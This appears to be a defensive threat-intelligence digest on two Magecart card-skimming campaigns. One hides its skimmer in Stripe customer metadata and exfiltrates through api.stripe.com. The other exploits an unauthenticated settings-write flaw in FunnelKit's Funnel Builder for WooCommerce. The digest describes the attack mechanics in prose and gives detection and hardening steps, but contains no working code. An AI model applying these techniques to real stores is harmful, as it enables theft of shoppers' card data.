Magecart skimmer hosted in Stripe customer metadata, exfiltrates via api.stripe.com

Sansec's forensics team documented a card-skimming family that routes both payload delivery and exfiltration entirely through Stripe's legitimate API (Sansec, 2026-06-04). The actor creates a Stripe customer object and stores the skimmer JavaScript in that customer's metadata fields; at checkout the skimmer is fetched from api.stripe.com, captures full card number, CVV, expiry and billing address, then writes the stolen data back to Stripe by creating new fake customer records — so both inbound payload and outbound theft look like ordinary Stripe API traffic (BleepingComputer, 2026-06-04). The entry point is a malicious Google Tag Manager (GTM) container injected into checkout pages of Magento / Adobe Commerce stores; the skimmer-hosting Stripe customer record was created 2025-12-24, indicating a campaign running since at least late 2025. Maps to T1059.007 (JavaScript) and T1071.001 (Application Layer Protocol: Web). Why it matters to us: api.stripe.com is universally allow-listed in CSP script-src/connect-src and WAF egress rules on payment sites, so the standard "block unknown exfil endpoints" control is blind to this. Detection has to move server-side: inventory GTM container IDs against an approved list, alert on Stripe customer-creation events that don't map to real orders, inspect customer-metadata fields for encoded JavaScript, and run file-integrity monitoring on checkout-page tag configuration rather than relying on browser-side CSP.

Sansec published primary research on 2026-05-14 documenting active exploitation of an unauthenticated code-injection flaw in FunnelKit's Funnel Builder for WooCommerce plugin, with BleepingComputer corroborating on 2026-05-15 and The Hacker News expanding on 2026-05-16 (Sansec, 2026-05-14; BleepingComputer, 2026-05-15; The Hacker News, 2026-05-16). The vulnerable component is a publicly-exposed POST endpoint for checkout-funnel session management that fails to validate caller permissions — per The Hacker News's coverage of Sansec's research, "Funnel Builder includes a publicly exposed checkout endpoint that allows an incoming request to choose the type of internal method to run". An unauthenticated request can invoke the internal method responsible for writing the plugin's global settings and inject arbitrary content into the External Scripts field (Settings > Checkout > External Scripts), which then executes on every checkout page site-wide. Mapped to T1190 Exploit Public-Facing Application + T1505.003 Web-Shell-equivalent (Magecart variant). Sansec observed the live payload masquerading as a Google Tag Manager initialiser; the fake GTM loader pulls JavaScript from an attacker-controlled domain, opens a WebSocket to attacker C2, and retrieves a storefront-tailored skimmer that harvests credit-card numbers, CVVs, and billing data in real time during checkout. No CVE has been assigned. Affected: all FunnelKit Funnel Builder for WooCommerce versions before v3.15.0.3. Why it matters to us: the unauthenticated-write-to-plugin-settings pattern is increasingly common across WordPress commerce plugins and is reachable by any internet scanner — Swiss/EU cantonal e-service portals, healthcare patient-payment systems, and university e-commerce instances running WooCommerce are exposed without operator action. The WebSocket-to-attacker-C2 channel makes the skimmer payload polymorphic per victim, so static-IOC scanning of checkout HTML will miss it; defenders should audit wp_options for unrecognised funnel-builder external-script entries and alert on any WebSocket (wss://) connection initiated from a WordPress PHP process or visible in browser checkout traffic to non-CDN endpoints. Hardening: update to v3.15.0.3+ immediately; manually purge the External Scripts setting; deploy a server-side malware scanner against the plugin install path. Three independent corroborating sources clear the SINGLE-SOURCE rule.